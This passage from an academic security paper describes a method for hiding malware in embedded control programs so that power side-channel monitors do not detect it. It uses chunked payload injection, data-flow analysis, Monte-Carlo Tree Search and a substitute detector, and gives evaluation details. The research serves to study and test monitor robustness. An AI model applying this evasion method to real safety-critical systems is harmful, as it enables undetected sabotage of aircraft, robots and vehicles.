attacks. We show that our attack approach can find an
evading sample in all cases.

2 Background

Physical Side-Channels. Physical side-channels refer to
physical phenomena produced as a side-effect of system oper-
ations in digital circuits. Specifically, the execution of instruc-
tions as well as data read and write cause CMOS components
in the digital circuits to switch on and off. This creates vary-
ing currents and voltages. Such varying current and voltage
values can be observed by looking at the voltage fluctuations
in the power consumption in the circuits. Such voltage fluc-
tuations, called power side-channel signals, can be captured
by measuring the voltage at the VCC pins of a digital chip
(e.g., a micro-processor). Executing different instructions or
transferring different data values across a data bus create dif-
ferent power side-channel signal patterns. The signal patterns
are also affected by noise in the circuits. Nevertheless, power
signals can be used to infer system execution within a chip.
There are other physical side-channels such as electromag-
netic (EM), acoustic, and thermal side-channels, however in
this paper we focus mainly on power side-channel signals.

Physical Side-Channel Monitors. Physical side-channel
monitors have been employed both in academia [22, 32, 39]
and industry [3] to monitor the security of a system. The main
advantage of physical side-channel monitors compared to tra-
ditional software-based monitors is that they are air-gapped,
meaning that they are implemented externally to the moni-
tored system. This provides isolation and a separate attack
surface, reducing the number of available attack vectors.

1https://github.com/yihan0512/HidingInPlainSight.git
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Figure 1: A side-channel monitor, consisting of (1) data
acquisition, (2) model training, and (3, 4) querying the model

to monitor behavior.

Physical side-channel monitors monitor the execution of
a program though physical side-channel signals. A physical
side-channel monitor consists of two parts, a physical side-
channel collection module and an anomaly detector. The sig-
nal collection module collects physical side-channel signals
during the execution of the program. The anomaly detector
predicts the status of the program (e.g., normal or abnormal,
malicious or benign) based on the collected signals.

The setup of a physical side-channel monitor is illustrated
in Figure 1. They are commonly trained using data-driven
models since current embedded platforms are exceedingly
diverse and complex, discouraging the use of manually de-
signed models. In the signal collection module, physical side-
channel signals are collected during the normal execution of
the program. This allows for initial training in a clean environ-
ment as well as subsequent retraining when necessary over
time. The collected signals represent a wide subset of possible
behaviors and control flows of the program. Once a model
has been trained to sufficiently high accuracy, the monitoring
phase begins. During system operation, the monitor measures
the system, returning a response on whether the system is
executing benign or malicious code.

Formalizing Side-Channel Restrictions. Pierazzi et
al. [44] provide a formalized understanding of the challenges
that a side-channel domain poses to an adversary. They
differentiate between the problem space – the attacker-
modifiable program code – and the feature space, which in
this case is the resulting side-channel signal and input to
the monitor. Without knowing an invertible or differentiable
mapping between the problem and the feature space, standard
gradient-based adversarial attacks [19] are infeasible.

Although the estimation or derivation of such a map-
ping poses an interesting question, we note that discover-
ing such a mapping is outside the scope of this work, as
any such mapping would be to some extent platform spe-
cific and therefore not widely generalizable. Additionally,
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MOVS    R2,#0
MOV.W   R12,#1
MOV.W   LR,#0xC

Loc_80002D2
MOV R0,SP
MOVS R1,#9
MOV R3,#0

loc_80002D8
LDR.W R7,[R0],#4
CBNZ R7,loc_80002EA

LDR.W R7,[R4,j,LSL#2]
CMP mm,R7
ITT GT
MOVGT R2,j
MOVGT mm,R7

Loc_80002EA
ADDS j,#1
CMP j,#3
BNE loc_80002D8

ADD     j,SP,#0x48+var_18
ADD.W   R3,R3,R2,LSL#2
LDR     mm, =dis
STR.W   R12,[R3,#-0x30]
MLA.W   R8,LR,R2,R5
MOVS    R0, #0 

Loc_8000302
LDR.W   R3,[R8],#4
CMP     R3,#8
BGT     loc_800318

LDR.W   R7, [R4, R2, LSL#2]
ADD     R3,R7
LDR     R7,[R1]
CMP     R7,R3
IT GT
STRGT   R3,[R1]

Loc_8000318
ADDS    v,#1
CMP     v,#3
ADD.W   R1,R1,#4
BNE loc_8000302

CMP     R6,#1
BEQ     loc_800032A    

MOVS    R6,#1
B       loc_80002D2

Figure 2: Assembly code snippet of the path planning program. Different colors are used to show the mappings between
instructions and corresponding power side-channel signal segments in Figure 3 in a clearer way.

Figure 3: Power side-channel signal collected during the
execution of the benign program. Colors correspond to the

basic blocks of the program in Figure 2.

in our testing we found that the resulting physical signal at
each point in time was affected by both the currently exe-
cuting instruction as well as the series of previously exe-
cuted instructions, indicating that deriving a mapping would
be non-straightforward. Instead, we utilize a problem-driven
search [11, 45] to learn effective attack strategies. We also
focus on several of the major challenge categories identified
by Pierazzi et al. [44], which highlight the domain-specific
adversarial barriers which make designing an attack on side-
channel monitors difficult: problem-space transformation lim-
itations and semantic preservation. The program code is based
on a set of assembly instructions which have a rigid structure
(feasible control flows), as well as semantic constraints such
as temporal and data dependencies. The resulting discrete set
of possible modifications must be taken into consideration by
an attacker to preserve program functionality during an attack
and remain evasive.

3 Problem Formulation

3.1 Motivating Example

Consider an embedded system executing a path-planning task
for a robotic arm. This system is protected by a power side-
channel based control flow monitor similar to those presented
in related work and described in the previous section. Fig-
ure 2 and Figure 3 show a highly simplified example of a
typical cyclical control program and corresponding power

Figure 4: Power side-channel signal after the malicious
payload is injected at the beginning. The malicious signal

segment is marked in red.

signal collected by the monitor. The signal represents an exe-
cution trace of the path-planning program: which instructions
are executed, which branches are taken, and which control
flow is followed. The anomaly detector monitors these power
side-channel signals and reports any anomalous behavior.

More specifically, the anomaly detector takes the power
side-channel of a scan cycle as input and outputs a confidence
score. The confidence score indicates how likely it is that
the input signal corresponds to an execution of the benign
program. A threshold is set on the confidence score, with a
confidence score lower than the threshold indicating an attack
on the embedded system. The detector itself uses a data-driven
model trained with power side-channel signals collected over
a period of time during normal system operation.

An adversary wants to perform a data injection attack on
the robotic arm, e.g., altering the inputs to the path planning
algorithm. In this way, they can alter the internal state of the
program and hence the output actuation to cause undesired
arm behavior or damage.

The adversary also wants to launch a stealthy attack, i.e.,
the attack should not cause unintentionally observable effects.
For example, replacing the original program with a malware
program entirely might trigger an alarm in the system supervi-
sor or other automated tools, as a the original data-monitoring
feed is no longer available. Stealthy attacks have a more last-
ing impact on the system compared to attacks which break
down the system quickly, as shown in real world attack exam-
ples, e.g., Stuxnet [24]. To achieve this, the adversary might
choose to inject a malicious payload into the benign program.
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MOVS    R2,#0
MOV.W   R12,#1
MOV.W   LR,#0xC

Loc_80002D2
MOV R0,SP
Chunk 1,2,3,4
MOVS R1,#9
MOV R3,#0

loc_80002D8
LDR.W R7,[R0],#4
CBNZ R7,loc_80002EA

LDR.W R7,[R4,j,LSL#2]
Chunk 5
CMP mm,R7
ITT GT
MOVGT R2,j
MOVGT mm,R7

Loc_80002EA
ADDS j,#1
CMP j,#3
BNE loc_80002D8

ADD     j,SP,#0x48+var_18
ADD.W   R3,R3,R2,LSL#2
Chunk 6,7
LDR     mm, =dis
STR.W   R12,[R3,#-0x30]
MLA.W   R8,LR,R2,R5
MOVS    R0, #0 

Loc_8000302
LDR.W   R3,[R8],#4
CMP     R3,#8
Chunk 8
BGT     loc_800318

LDR.W   R7, [R4, R2, LSL#2]
ADD     R3,R7
LDR     R7,[R1]
Chunk 9
CMP     R7,R3
IT GT
STRGT   R3,[R1]

Loc_8000318
ADDS    v,#1
CMP     v,#3
ADD.W   R1,R1,#4
BNE loc_8000302

CMP     R6,#1
BEQ     loc_800032A    

MOVS    R6,#1
B       loc_80002D2

Figure 5: Assembly code snippet of the path planning program with injected malware chunks. Code is otherwise unchanged from
Figure 2.

Figure 6: Power side-channel signal after the malicious
payload is injected based on our proposed attack approach.

The malicious signal segments are marked as red.

The signal in Figure 4 is from a version of the program
where the malicious payload is injected at the beginning. This
signal is not recognized by the side-channel monitor, and the
resulting confidence score is lower than the threshold. There-
fore, the anomaly detector rejects it and triggers an alarm.

Using the attack approach proposed in this paper, an ad-
versary can find the optimal strategy to inject the malware
into a legitimate binary (see Figure 5) while keeping the con-
fidence score high. Figure 6 shows the corresponding power
side-channel signal.

3.2 Research Goals and Challenges

This paper has the following goal: given a benign program
guarded by a side-channel monitor and a malicious payload,
inject the payload into the program without being detected
by the monitor. As we consider direct attacks on the monitor
itself to be out of scope (e.g., as it is air-gapped), the attacker
has to ensure that the side-channel signals lead to a misclassi-
fication by the monitor. In particular, an adversary must craft
an adversarial signal indirectly by modifying the program
execution. The adversary also wants to make sure the desired
malicious functionality remains intact. This gives rise to the
main challenges that we address in this paper:

1. Side-channel signals are a consequence of code execu-
tion, meaning that malware cannot directly interact with
the side-channel monitor and rendering gradient-based
approaches ineffective. We address this challenge in Sec-

tion 4 with a side-channel-aware malware optimization
using an iterative search approach.

2. Side-channel monitors are trained on specific platforms
for specific programs, using uninterpretable (and inacces-
sible to the adversary) data-driven models. We address
this issue with the use of a substitute setup (Section 4.1),
which we show can sufficiently replicate the original
monitor for designing attacks.

3. Crafting an adversarial example is subject to domain-
specific constraints, such as temporal (e.g. B happens
after A) and data dependencies. To handle these con-
straints, we propose leveraging dependency analysis and
chunking heuristics in Section 4.2.

4. Attacks need to be optimized for robustness to reliably
evade detection even under the influence of measurement
noise. We minimize the effect of noise by incorporating
measurement variation in the optimization (Section 4.3)
to produce a high-confidence, low-variance attack.

These challenges result in a highly constrained problem
that highlights the strengths of side-channel monitors, but also
their weaknesses against advanced adversaries.

3.3 System Model

We consider safety-critical embedded systems monitored by
a power side-channel monitor. Examples of such systems in-
clude optimal path planning in robotic arms, traffic collision
avoidance control for an aircraft, and common control algo-
rithms such as the PID controller and Kalman filter. These
programs are commonly run on an embedded controller such
as a Programmable Logic Controller (PLC), which performs
several tasks. The PLC reads physical measurements from
sensors, runs a cycle of the control program, and sends the out-
puts to system actuators. Additionally, the PLC is connected
to a Supervisory Control and Data Acquisition (SCADA)
system which handles data logging and PLC programming.

Externally monitoring this system in real time is done using
a power side-channel monitor. It continuously collects power
side-channel signals of the embedded controller, and sends
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the signals to an anomaly detector. The anomaly detector
inspects the side-channel signal for malicious behavior. It
is trained using signals from executions of the embedded
controller in a non-compromised environment and outputs
a confidence score, with a high score (above a threshold)
representing benign program execution and low score (below
a threshold) indicating abnormal operation.

3.4 Attacker Model
The goal of the attacker is to compromise system operation
by injecting a maliciously modified program while remaining
undetected by the classifier. These adversarial evasion attacks
can serve several purposes which we later evaluate, such as
false data injection or confidential information disclosure.

Due to the air-gapped nature of side-channel monitors, at-
tacks directly targeting the monitor or its feature space (sam-
pled points of the physical signal) are out of the scope of this
work, and the attacker is limited to modifying the program
running on the embedded system in the problem space (exe-
cuted code). We assume that the attacker has knowledge of
the hardware platform, the capability to upload a malicious
program (e.g. having compromised the SCADA connected
to the embedded controller), and has access to the original
program running on the embedded system. This capability
and attack vector is similar to Stuxnet [24].

Otherwise, we assume a black-box model with respect to
the data-driven side-channel monitor. In the black-box case,
the attacker is usually limited to external querying of the
model to gain information about it; however, in the side-
channel context, doing so is impractical as querying a live
model would result in being detected. Instead, the attacker can
leverage knowledge of the system’s software and hardware
to train a substitute setup [41], optimizing an attack and then
transferring it back to the original model.

4 Attack Design

An overview of our attack approach is shown in Figure 7. The
goal of our attack is, given a benign program and a malicious
payload, finding a way to inject the malicious payload into the
benign program such that the malicious code is undetected
by the side-channel detector, i.e., an evading sample. Accom-
plishing this requires addressing two baseline considerations.
Syntactic Correctness. Fundamentally, the resulting pro-
gram should be free of any syntax errors and able to be
compiled. This is achieved as our adversary has sufficient
information about both the program and malware to test and
verify the feasibility of the resulting code.

Moreover, during execution the injected program should
not crash. For example, this can happen if the malicious code
unintentionally modifies a register that the benign code is cur-
rently using. Using program analysis and execution context-
saving (analogous to multi-threading), we ensure that the

Adversary Setup

Substitute Setup

Malware Generation Algorithm

Classifier Confidence Ranking

Assembly-level 
Malware Injection

10100111010
10101101010
00100101000
10101011010
01001001001
01010100101
1010110011
101010111

Program Analysis

Monte-Carlo 
Tree Search 

Optimization

Figure 7: Using a substitute setup, an adversary can train
attacks on a copy of the side-channel monitor.

malicious code does not accidentally overwrite registers the
benign program uses.
Semantic Preservation. Additionally, the malicious function-
ality of the malware should be preserved after its injection
into the benign program. For instance, if a malware intends to
modify program inputs, it must do so before the point where
they are used to have the "correct" effect. This creates locality
requirements on where the malware can be placed. To address
this, we perform program analysis on the benign program to
identify a set of feasible locations where sections or "chunks"
of the malware can be injected without impacting semantics.

Furthermore, as shown in past work [17], a typical malware
size with specific adversarial goal in the context of embedded
controllers (e.g., the controller’s output value corruption) is
often small (e.g., around 2KB [17]). That said, chunking the
malware up and distributing its effects across various points
of the side-channel signal is still necessary in practice to evade
the detector.

Next, we detail how these considerations are addressed in
our attack construction, starting with the physical setup.

4.1 Building a Substitute Setup

The isolation of the side-channel detector along with its real-
time nature prevents an adversary from manipulating the side-
channel detector freely, as described in Section 3. Therefore,
we take the step of creating a substitute setup to help us find
an evading sample. Specifically, the adversary procures a copy
of the program running in the target system. This can be done
in several ways, such as through a compromised SCADA,
insider or physical system access, or even through the pub-
lic availability of commonly-used controller software online.
The adversary runs symbolic execution on the program to
obtain test inputs that correspond to all execution paths of the
program. The adversary then prepares a system with the same
micro-controller model and peripheral circuits and uploads
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the program to this system. They then send the test inputs
generated above to the system while at the same time collect-
ing power side-channel signals from the system in the same
way as the original system. Finally, a substitute side-channel
detector can be trained using the collected signals. A side-
channel based detector takes a power side-channel signal x as
input, outputs a confidence score s

s = f (x), s ∈ [0,1]. (1)

A high confidence score indicates a normal execution while a
low score indicates an anomalous/malicious one. Depending
on the knowledge the adversary has, they can construct the
detector with the same model architecture as the original setup
or determine a "best guess" model architecture. We show in
Section 5 that it is possible to find an evading sample even
with a different model architecture.

4.2 Malicious Payload Injection
In this subsection we describe our approach for injecting
the malicious payload into a benign program. To allow for
further analysis, we first disassemble the binary of the benign
program. We then split the malicious payload into chunks.
Next, we apply program analysis to the assembly code to
identify where a malicious chunk can be injected for each
chunk. Then, based on the optimization algorithm described
in Section 4.3, the malicious chunks are injected into the
benign program. Finally the injected program is assembled
and uploaded to the device. We describe the key steps below.
Malicious Chunks. We propose splitting a malicious payload
into chunks such that we can distribute them across the benign
program. In this way, it is more likely that we can find an
evading sample with higher confidence scores. We split the
code such that each chunk is context-independent; in other
words, each chunk can be injected and executed alone. For
example, in the case of a data injection attack, instructions
that correspond to the modification of each input variable can
be considered as an individual chunk. We describe how we
define the malicious chunks for all other attacks we consider
in this paper in Section 5.
The Live Range of a Malicious Chunk. To ensure seman-
tic preservation of the malicious payload, i.e., to make sure
the malicious functionality is preserved, the locations that
a malicious chunk can be injected are limited. We use the
concept of a "live range" to express this constraint. We define
the live range of a malicious chunk to be the set of locations
in the benign program where a malicious chunk would still
be effective when injected.

The live range is contextually dependent on the goals of
the attack and results of the program analysis. Figure 8 rep-
resents the live ranges of several input variables in the sce-
nario of a false data injection attack. Each attacked input
variable needs to be modified after it is defined but before it is
used. Otherwise, the intended effect of the input modification

PUSH    {R4,LR}
LDR R4, [R3]
CBZ     R4, loc_8000368

LDR     R3, =Own_Tracked_Alt_Rate
LDR R3, [R3]
CMP.W R3, #0x258
BGT     loc_800380

LDR     R3, =Cur_Vertical_Sep
LDR     R4, [R3] 
CMP.W R4, #258
ITE LE
MOVLE   R4, #0
MOVGT   R4, #1 

MOVS    R4, #0
B loc_800368

LDR     R3, =Two_of_Three_Reports_Valid
LDR R3, [R3]
CBZ     R3, loc_8000378

……

……
Figure 8: Live ranges of malicious chunks for input data

injection on a collision avoidance program (dashed brackets).

might not be fully realized. The live ranges of the three in-
put variables Cur_Vertical_Sep, Own_Tracked_Alt_Rate,
and Two_of_Three_Reports_Valid lie between beginning
of the program and the locations where they are first used, as
represented by the dashed brackets. Details of the live ranges
of other attacks in this paper are described in Section 5.

To find the live range of a malicious chunk, we perform
a data flow analysis. More specifically, the data a malicious
chunk intends to modify or retain is only available in some
locations of the benign program. For example, if the malicious
chunk wants to modify the data at a memory address asso-
ciated with the input, the data is only available at the points
between where the data is stored to the memory address and
where the data is first used. Or if the malicious chunk wants
to log the data at a memory address, this data is also only
available in some locations. We perform data flow analysis
on the benign program to locate where the data is created
and where it is consumed or updated. In this way, we are
able to identify a set of candidate locations where the data is
available. We consider the set of these locations as the live
range of the malicious chunk.

Once live ranges for all malicious chunks are identified,
we employ an optimization algorithm based on Monte-Carlo
Tree Search (MCTS) to find where in the live range to inject
each chunk such that the program with all malicious chunks
injected still has a high confidence score.

4.3 Generation of Evading Samples

We formulate finding an evading sample as an optimization
problem where we want to maximize the confidence score of
the program with the malicious code injected. As stated in
Section 3, the detector has a confidence score threshold, de-
termining whether the execution is benign (high confidence)
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Figure 9: Search tree of the problem. The root node of the
tree represents the benign program while the leaf nodes
represents programs with all malware chunks injected.

or malicious (low confidence). Our optimization objective is
to maximize the confidence score, which can account for the
noise caused by different data values or measurement noise.
This also improves the consistency of evasion for optimized
samples. To imitate the strategy of an attacker generating sam-
ples iteratively, we model the process of finding the optimal
injection combination as a tree search problem.

Specifically, we define the nodes in the tree to be an inter-
mediate snapshot of the program with some malicious chunks
injected, as seen in Figure 9. The root node represents the
benign program while the leaf nodes represent the program
with all malicious chunks injected. We call a program with
all malicious chunks injected an injection combination. The
edges in the tree represent the action of injecting the next
malicious chunk. Starting from the root node, the malicious
chunks are injected sequentially, one at a time, until the leaf
nodes are reached. A malicious payload consists of 3 chunks
a, b and c injected into a benign program ABCDE. The chil-
dren of a node represent where the next malicious chunk can
be injected. The choice of the child of a node is subjected to a
set of constraints. Firstly, the malicious chunk can only be in-
jected inside its live range. Secondly, malicious chunks must
be executed in the same order as in the original malicious
payload. This means if two chunks need to be executed one
after the other, once the first chunk is injected to a location,
any location before that are not available for the second chunk.
Finally, all the malicious chunks need to be executed simul-
taneously in at least one execution path to ensure semantic
preservation. Therefore, once a chunk is injected to a location,
the rest of the chunks can only be injected to the sub-graph of
the control flow graph of the benign program, starting from
that location.

The goal of the tree search is to find an injection combina-
tion that gives the maximum confidence score

max
C

s (2)

where C is an injection combination. The solution of the tree
search problem can be accomplished with various methods
such as the min-max algorithm, greedy search, or MCTS. The
min-max algorithm is an exact method, enumerating all pos-
sible actions to find the optimal solution. However, as the
program or malware size increases, the number of possible
combinations explodes, making this method computationally

infeasible. The greedy algorithm moves down the tree by
picking up the child with the highest score, therefore, it is
sub-optimal as in this way it won’t be able to take longer term
dependencies into consideration. MCTS can be considered a
solution that balances between min-max and greedy search.
For a node, it does not enumerate all possible actions, nor
does it determine the value of this node without looking down
the tree at all. MCTS estimates the value of a node by try-
ing several possible solutions associated with this node. We
propose using MCTS to solve the optimization problem.

Below we describe in detail how we adapt MCTS into our
optimization scheme to find an evading malware. On a high
level, our MCTS based optimization starts from a single root
node, which is the benign program in our case. It explores and
expands the tree iteratively by injecting malicious chunks one
at a time. At the beginning, it explores randomly as there is
not enough information about the tree. It evaluates the impact
of injecting a malicious chunk at a candidate location on the
confidence score, accumulating information over iterations.
As it obtains more information about the how injecting the
malicious chunks affects the confidence score, it starts to
get an idea of which locations are better (resulting in higher
confidence scores). It then exploits this learned knowledge to
guide subsequent iterations exploring the tree more efficiently.

At each iteration, MCTS has four steps: selection, expan-
sion, rollout and backpropagation.
Selection. In selection, MCTS starts from the root node and
recursively traverses the child node with the highest value
until a leaf node is reached. The leaf node represents the
program with some malware chunks injected. We use the
following formula [45] to compute the value of a node

s−ησ

n
+ c

√
lnN

n
(3)

where s is the sum of the confidence scores of previous it-
erations. σ is the sum of the standard deviation (stdev) of
the confidence scores of previous iterations as well. We will
elaborate more on these two terms below. η is a coefficient
balancing the two terms. n is the total number of visits of the
selected node and N is the total number of visits of its parent
node of the last iteration. Equation 3 helps find an injected
program with high confidence score and low variation.

During our experiment, we observe that the confidence
score of a power side-channel signal can vary a lot even for the
same version of the program with malicious chunks injected.
This is because injecting the malicious chunks changes the
signal patterns. As a consequence, the signal moves to a much
more nonlinear location in the feature space. At this location a
slight change in the signal (possibly caused by measurement
noise or different data values) can result in a significantly
different confidence score. A more robust evading sample
needs to be less sensitive to noise, or in other words, have low
variance. Therefore, we penalize evading samples with high
variation by including the σ term in Equation 3.
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Equation 3 balances the search between exploration and
exploitation. The first term controls exploitation, it indicates
the average confidence score of all the injection combina-
tions (associated with this node) tried so far. The second term
controls exploration, it is large for nodes that have not been ex-
plored many times. Therefore, the algorithm tends to choose
unexplored nodes. As the number of iterations increases, all
nodes are explored at least once. Therefore, the first term
starts to take control. This means the model starts to shift
from exploration to exploitation.

Expansion. After a node is selected, the tree will be expanded
from this node. A child of this node is created. In our attack,
this essentially means injecting the next malware chunk. The
choice of which child to create is random.

Rollout. Starting from the node created above, a rollout
is carried out by repeatedly injecting the remaining mali-
cious chunks randomly until all chunks are injected. After
all chunks are injected, that version of the program is com-
piled and uploaded to the device. Side channel signals are
then collected during the execution. Usually CPS applications
execute only one or a few possible execution paths during
normal operation, so we only collect side channel signals that
correspond to these paths.

Side channel signals of various test inputs are collected
to take data differences into consideration (Section 2). In
addition, multiple signals are collected for each test input to
account for circuit noise. Collected signals are sent to the side
channel detector and a confidence score is obtained for each
signal. Mean and stdev of the the confidence scores are then
computed.

Backpropagation. Finally, the values of all nodes involved
in this iteration of the optimization are updated based on the
Rollout result, i.e., the mean and stdev computed in the Roll-
out step are summed into s and σ in Equation 3 respectively.
n and N are also incremented accordingly.

The four steps above are repeated until a predefined itera-
tion limit is reached. For each iteration, the injected program
generated in the Rollout step is saved together with its corre-
sponding confidence scores. The iterations will also stop if no
improvement can be observed over multiple iterations. After
the search process is done, injected program with the highest
average confidence score is chosen as the result.

During the optimization process, our MCTS based algo-
rithm accumulates information about injecting malicious
chunks over multiple steps instead of only considering the
instant impact of one single chunk. Therefore, it can esti-
mate the impact of a injection on the confidence score better.
As the algorithm learns better estimates about the values of
injecting different malicious chunks at different candidate lo-
cations, it will visit those with a higher value more frequently
in subsequent iterations. In this way, it can find an injection
combination with high confidence score more efficiently.

Name Description # paths ≈ # instr.

path Robotic automated arm path planning 8 200
collision Siemens aircraft altitude control module 23 300

cruise From Crazyflie drone altitude control 8 600
kalman From Crazyfile drone state estimation 4 1250
particle From Udacity’s self driving car simulator 16 3000

Table 1: Control programs used in our evaluation.

5 Evaluation

5.1 Experimental Setup

Hardware Setup. We use a NEWAE CW308T-STM32F3
(with an ARM Cortex M4 microprocessor) as our target em-
bedded platform, as the Cortex M4 is designed for cyber-
physical applications as well as IoT systems [1]. Power side
channel signals are collected using a NEWAE Chipwhisperer-
Lite CW1173 oscilloscope2. The CW308T-STM32F3 board
contains built-in circuits for measuring power side-channel
signals from the power pin of the microprocessor. The trigger
signal is sent out from one of the I/O pins. Both the power
signal measurement and the trigger signal are passed to the
Chipwhisperer. We modify the Chipwhisperer software to
align and truncate multiple measurements based on the trigger
signal. The microprocessor runs at a clock speed of 10MHz.
The sampling rate of Chipwhisperer is 4 times the clock speed
of the microprocessor.

Target Programs. We use a variety of programs as our tar-
get for evaluating the proposed attack. These programs are
extracted from different control applications designed for air-
craft, drones, and autonomous vehicles. Table 1 describes the
number of control paths and instructions of these programs.
For the cruise control, Kalman filter, and particle filter pro-
grams, the floating point unit on the target board is enabled.
For simplicity, and because the ARM Cortex M4 does not
have address-space layout randomization, we hard-code the
addresses in our malware when possible.

Constructing a Side-channel Detector. To construct a
power side-channel based anomaly detector for a given tar-
get program, we first identify all execution paths of the pro-
gram [22]. Then for each path, we generate five test cases. We
collect multiple power side-channel signals for each of these
test cases, representing all possible behaviors of the program.
The detector is then trained using these signals. We consider
three detectors that are used in prior works: 1. a Bidirectional
Long Short-Term Memory neural network [22] (BiLSTM),
2. a Bidirectional Recurrent Neural Network (BiRNN), and
3. a Hidden Markov Model [32] (HMM). We implement (1)
and (2) based on available code, and implement (3) closely
following its description in previous work. Our reproductions

2(https://wiki.newae.com/Main_Page)
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of prior works have comparable accuracy with respect to the
original schemes as shown in our evaluation.

All three detectors operate on signal segments. Signal seg-
ments are extracted using a 90% overlapping sliding win-
dow on the power side-channel signals [22]. For the HMM,
the signal segments were used as observations. The HMM
state is defined as the unique samples in the observation set.
Multiple HMM models are trained. Each one corresponds to
one execution path and is trained using power side-channel
signals of that path. To classify a test signal, all the trained
HMMs are queried using the signal, and each HMM produces
a log-likelihood score that represents how likely the signal
is generated by the HMM. The HMM (or the corresponding
execution path) with the highest log-likelihood score is the
prediction. The overall confidence score of the multi-HMM
model is the highest log-likelihood score.

Window Size and Features. For both time and frequency
[22] representation of the window, we test different window
sizes. Our goal is to identify values that allow us to reach com-
parable detection performance to prior work (see Table 2). In
particular, we tested multiple window sizes starting from a
base window of 4 signal points (representing a single instruc-
tion), progressively increasing the window size until matching
the prior work performance. We note that the window sizes of
all the detectors stay within the control loop (scan cycle). We
further discuss the possibility of windows spanning multiple
control loops in Section 6.

Detector Training. We train a detector with the power side-
channel signal and its corresponding execution path pairs. We
collect 20 signals for each test case as the training dataset,
another 10 as the validation dataset. For the BiLSTM and
BiRNN, the average number of epochs during training is
1000. For the HMM, we use a max of 200 iterations and a
tolerance of 0.01. We empirically determine the architecture
of the detector for each target program, i.e., size and number of
hidden layers, by starting with a hidden size of 64 and 2 layers,
and increasing the numbers until we achieve both a good
validation classification accuracy as well as high confidence
scores of all signals in the validation dataset. We use a similar
strategy for the HMM with a starting point of 10 states and
one mixture component.

Detector Accuracy. We report the classification accuracy
and the area under the ROC curve (AUC) of each detector
on its corresponding testing dataset in Table 2. Both BiL-
STM and and BiRNN have good classification accuracy and
detection performance for all the programs with both time
and frequency features. The results match with the detection
solutions in related work [22, 32]. Note that the results of
HMM are not as good as others. We spent a lot of effort tun-
ing the parameters of these HMM models but were not able

BiLSTM

Feature Time Frequency
Metric WS Acc. AUC WS Acc. AUC

path 4 98.01% 0.99 8 99.02% 0.99
collision 8 100.0% 0.99 16 100.0% 0.99

cruise 8 100.0% 0.99 16 100.0% 0.98
kalman 4 99.60% 0.99 8 100.0% 0.98
particle 64 99.86% 0.99 64 99.98% 0.99

BiRNN

Feature Time Frequency
Metric WS Acc. AUC WS Acc. AUC

path 8 99.26% 0.99 8 100.0% 0.98
collision 8 100.0% 0.98 16 100.0% 0.98

cruise 8 99.17% 0.99 16 99.12% 0.99
kalman 8 99.57% 0.99 8 98.23% 0.98
particle 64 99.22% 0.98 64 98.99% 0.99

HMM

Feature Time Frequency
Metric WS Acc. AUC WS Acc. AUC

path 8 98.23% 0.99 8 99.91% 0.99
collision 8 99.16% 1.00 8 100.0% 0.98

cruise 8 99.01% 0.95 8 100.0% 0.96
kalman 8 77.50% 0.85 8 85.50% 0.82
particle 16 72.00% 0.76 16 63.50% 0.73

Table 2: Performance of detector models constructed for all
programs with both Time and Frequency features, comparing
Window Size (WS), Accuracy, and Area Under Curve (AUC).

to achieve optimal results for all the programs. We report
the best results we obtained in the table. We speculate that
(unlike neural network-based models) the HMM cannot deal
with long sequences well. As the program becomes larger,
the HMM can no longer capture the temporal dependencies
in the signal well. From the adversarial perspective, attacking
a weaker detector is easier.

Exploratory Analysis: Instruction Insertion. Before we
present our evaluation results on the real control attacks, we
perform an exploratory analysis on the trained detectors to
estimate the impact that deviations from a benign program
introduce in the detector output. We consider both inserting
and altering instructions.

For instruction insertion, we create a chunk consisting of
several NOP instructions. We vary the number of NOP instruc-
tions in the chunk and insert it into the beginning, the middle
and the end of the benign program. We find that, without the
optimization proposed in this paper, even a single instruction
insertion can lead to detection. For example, in the collision
avoidance program, the insertion significantly decreases the
output confidence score of the detector from an average of
0.99 to 0.87. This is because the side-channel detector cap-
tures the temporal relations of the signal segments (time or
frequency features) of benign samples. Inserting new instruc-
tions introduces new signal features as well as shifts the rest
of the signal points from the injection point. This has the ef-
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fect of altering the internal states (i.e., hidden states) of all the
affected signal segments. Such alteration accumulates along
the sequence, making the final output of the detector deviate
significantly from normal values (values of benign samples).
However, we will show below that with our proposed attack,
it is possible to find locations in the benign program to inject
malicious chunks such that the internal states can be ’routed’
back to normal. In this way, the malicious sample stays un-
detected. We did not investigate the insertion of very long
malicious instruction sequences, but for all the evaluated rep-
resentative malware (some up to half the size of the benign
program), our approach is able to find evading samples.

Exploratory Analysis: Instruction Alteration. The goal
of instruction alteration is to replace individual benign in-
structions with others that have malicious effects, but do not
impact the detector’s classification. In addition, after the al-
teration the semantic and data flow of the original program
should stay unchanged—otherwise the program might crash
or misbehave in a noticeable way. This means keeping the
original program’s behavior as intact as possible while achiev-
ing the desired side-effects of the malware, which imposes a
large number of hard constraints. Therefore, we only perform
some preliminary studies. We consider altering an arithmetic
or load instruction by instead moving the result to the register
directly. We choose one instruction from the beginning, the
middle and the end of the program. We find that the average
confidence score suffers a detectable drop from an average of
0.99 to 0.93. This is because altering an instruction changes
the signal profile of itself and the surrounding instructions,
causing internal states of the detector to deviate from the nor-
mal state. A search for more suitable alteration would require
more complex semantic constraints and a much larger search
space compared to instruction insertion only. As a result, in
the remainder of this work we focus on instruction insertion.

Training the Adversary’s Substitute Setup. Normally,
training for a side-channel detector is done in-situ with train-
ing traces being acquired during normal operation. In the case
of the substitute setup, the adversary does not have a com-
plete operational system for training, instead knowing only
the control program and hardware platform. To compensate,
the adversary can generate a set of program inputs with thor-
ough path coverage using a symbolic execution framework
like Angr [59] or KLEE [8]. These program analysis frame-
works are flexible tools for verifying program correctness,
finding bugs, and exploring control flows.

Running Angr on a binary program produces a set of logical
expressions containing the path constraints for each control
path within a program. The path constraints determine input
variable value ranges that will lead execution down a certain
control flow. We then evaluate these logic expressions using
a logic solver (such as Z3 [12]) to generate multiple unique
concrete inputs for each control path. This allows us to train

Avg # Inst. per chunk / Total # Inst. path collision cruise kalman particle

False Data Injection 4/36 4/48 4/24 4/16 4/28
Overwrite Actuation Output 4/12 4/12 4/16 4/12 4/8
Control Parameter Attack 4/16 4/16 4/12 4/24 4/28
Data Logging 8/32 8/64 8/56 8/72 8/64
Confidential Information Disclosure 7/119 7/119 7/119 7/119 7/119

Table 3: The instruction count (by clock cycle) of malware
chunks/samples.

our substitute classifier against a wide array of scenarios, rep-
resentative of normal operation. While in general, symbolic
execution faces issues with exponential growth of paths, it
remains feasible for size-limited embedded programs.

5.2 Evaluation of Attack

We now evaluate our attack using five different malware pay-
loads. The payloads range from few instructions customized
for the target program (e.g., Overwrite Actuation Output) to
generic longer sequences of 119 instructions in the case of
